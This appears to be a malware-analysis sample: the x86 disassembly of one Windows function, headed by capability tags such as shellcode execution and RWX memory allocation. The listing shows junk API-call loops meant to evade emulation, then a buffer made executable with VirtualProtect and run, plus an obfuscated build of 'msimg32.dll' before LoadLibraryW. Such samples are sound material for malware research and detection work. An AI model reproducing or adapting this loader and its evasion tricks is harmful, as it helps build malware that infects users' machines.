Function at 0x809580
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x80c926
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2870
call fcn.0040e020
push ebx
mov ebx, dword [sym.imp.USER32.dll_CharUpperBuffA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
xor edi, edi
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x1e303
jge 0x8095ce
push edi
push edi
call ebx
call ebp
cmp esi, 0x1e9a5e26
jle 0x8095ea
cmp dword [esp + 0x10], 0xbf0f38
je 0x8095ea
cmp dword [esp + 0x44], 0x9081d28
jne 0x8095f3
inc esi
cmp esi, 0x989f6
jl 0x8095c0
cmp dword [0x2975aa4], 0xcf8
jne 0x8096f6
push edi
push edi
push edi
call fcn.004055eb
add esp, 0xc
push 0x40365c
push edi
call fcn.004055eb
push edi
push edi
push edi
push edi
call fcn.004052a8
push edi
call fcn.004055b0
add esp, 0x1c
push edi
call fcn.0040516d
add esp, 4
push edi
call fcn.004055e0
add esp, 4
mov dword [esp + 0x70], edi
mov dword [esp + 0x74], edi
mov dword [esp + 0x78], edi
mov dword [esp + 0x288c], edi
xor eax, eax
mov dword [esp + 0x4c], 0xf
mov dword [esp + 0x48], edi
mov byte [esp + 0x38], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x809666
sub eax, edx
mov esi, eax
cmp esi, 0xfffffffe
jbe 0x809680
push 0x403b74
call fcn.00404b2b
cmp esi, 0xf
jbe 0x809693
push edi
push esi
lea eax, [esp + 0x40]
push eax
call fcn.00404910
jmp 0x8096a0
cmp esi, edi
jne 0x8096a2
mov dword [esp + 0x48], edi
mov byte [esp + 0x38], 0
cmp esi, edi
seta al
mov ebx, 0x10
test al, al
je 0x8096dd
mov eax, dword [esp + 0x38]
cmp dword [esp + 0x4c], ebx
jae 0x8096bc
lea eax, [esp + 0x38]
push esi
push edi
push eax
call fcn.0040c1d0
mov eax, dword [esp + 0x44]
add esp, 0xc
mov dword [esp + 0x48], esi
cmp dword [esp + 0x4c], ebx
jae 0x8096d9
lea eax, [esp + 0x38]
mov byte [eax + esi], 0
cmp dword [esp + 0x4c], ebx
jb 0x8096f0
mov ecx, dword [esp + 0x38]
push ecx
call fcn.004056a8
add esp, 4
push edi
call fcn.0040555e
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x408
jne 0x809723
mov eax, 0x5d1
add dword [0x2975aa4], eax
cmp dword [0x2975aa4], 3
jne 0x809742
push 0
call edi
push 0
push 0
call ebx
push 0
lea edx, [esp + 0x84]
push edx
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x809710
mov eax, dword [0x2975aa4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x82b834], eax
mov eax, dword [0x2975aa4]
xor esi, esi
test eax, eax
je 0x8097e0
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, dword [sym.imp.KERNEL32.dll_FindResourceExA]
jmp 0x809780
cmp eax, 0xfe
jne 0x8097a9
push 0
call ebx
call ebp
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
push ecx
lea edx, [esp + 0x108c]
push edx
push ecx
mov dword [esp + 0x24], ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
call fcn.00809310
mov eax, dword [0x2975aa4]
cmp eax, 0x29
jne 0x8097db
lea eax, [esp + 0x2c]
push eax
push 0
push 0x403668
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
push 0
push 0
push 0
call edi
mov eax, dword [0x2975aa4]
inc esi
cmp esi, eax
jb 0x809780
cmp eax, 0x70
jne 0x8098e1
push 0x4036d0
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x403710
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
push 0
push 0x403750
push 0
push 0x4037c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
lea ecx, [esp + 0x1080]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
lea edx, [esp + 0x84]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
push 0x403814
push 0x403850
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
push 0
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0
push 0
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
call edi
call edi
push 0x4038fc
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push 0
lea eax, [esp + 0x1c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTapeParameters]
push 0
push 0
lea ecx, [esp + 0x1888]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
lea edx, [esp + 0x884]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0
push 0
call ebx
push 0x403938
push 0x403a28
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push 0x403a60
call esi
mov eax, dword [0x2975aa4]
mov esi, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
mov edi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
mov ebp, dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov dword [esp + 0x10], 0x9682ab
cmp eax, 3
jne 0x809934
push 0
lea eax, [esp + 0x1c]
push eax
push 0
lea ecx, [esp + 0x88c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
lea edx, [esp + 0x80]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0x2975aa4]
cmp eax, 0xdf
jne 0x809a9c
push 0
lea eax, [esp + 0x1084]
push eax
push 0
call esi
push 0
push 0
push 0
call edi
push 0
push 0
call ebp
push 0
lea ecx, [esp + 0x30]
push ecx
call ebx
push 0
lea edx, [esp + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
lea eax, [esp + 0x1c]
push eax
push 0
lea ecx, [esp + 0x1888]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
lea edx, [esp + 0x20]
push edx
push 0x403a88
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
xor eax, eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
lea ecx, [esp + 0x24]
push ecx
push 0
lea edx, [esp + 0x888]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapQueryInformation]
lea eax, [esp + 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x403b08
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
lea ecx, [esp + 0x84]
push ecx
push 0x403b10
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x2084]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x30
lea ecx, [esp + 0x40]
push 0
push ecx
mov dword [esp + 0x44], 0
call fcn.0040b5e0
add esp, 0xc
push 0
lea edx, [esp + 0x3c]
push edx
push 0x403b54
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov eax, dword [0x2975aa4]
dec dword [esp + 0x10]
jne 0x809901
mov esi, dword [sym.imp.USER32.dll_CharUpperA]
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthA]
mov ebp, 0x3a5e74
lea ecx, [ecx]
push 0
call esi
push 0
call edi
push 0
push 0
push 0
push 0
call ebx
dec ebp
jne 0x809ac0
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edi, 0x25887
cmp dword [0x2975aa4], 0x222
jne 0x809af0
push 0
call esi
dec edi
jne 0x809ae0
mov ecx, dword [0x2975aa4]
mov edx, dword [0x82b834]
lea eax, [esp + 0x14]
push eax
push 0x40
push ecx
push edx
mov byte [0x826aa0], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00809530
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
xor esi, esi
cmp dword [0x2975aa4], 0xba
jne 0x809b3b
lea eax, [esp + 0x14]
push eax
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x809b4d
add dword [0x82b834], 0
inc esi
cmp esi, 0x1605a
jl 0x809b22
mov ecx, 0x73
mov edx, 0x6d
mov word [0x296bae2], cx
mov word [0x296bae6], dx
xor edx, edx
mov eax, 0x33
mov ecx, 0x67
mov word [0x296baea], ax
mov word [0x296baf6], dx
mov word [0x296bae8], cx
mov edx, 0x69
mov eax, 0x6d
mov ecx, 0x6c
push 0x296bae0
mov dword [0x296baf0], 0x6c0064
mov word [0x296bae4], dx
mov word [0x296bae0], ax
mov word [0x296baf4], cx
mov dword [0x296baec], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x2975aa4], 0xc30
jne 0x809c9a
lea ecx, [esp + 0x880]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
lea edx, [esp + 0x80]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
lea eax, [esp + 0x2084]
push eax
push 0
push 0x403b60
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
lea ecx, [esp + 0x18]
push ecx
push 0
lea edx, [esp + 0x188c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push 0
lea eax, [esp + 0x1084]
push eax
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x2c]
push edx
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x3c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PurgeComm]
push 0
call dword [sym.imp.KERNEL32.dll_SwitchToFiber]
mov ecx, dword [esp + 0x2884]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret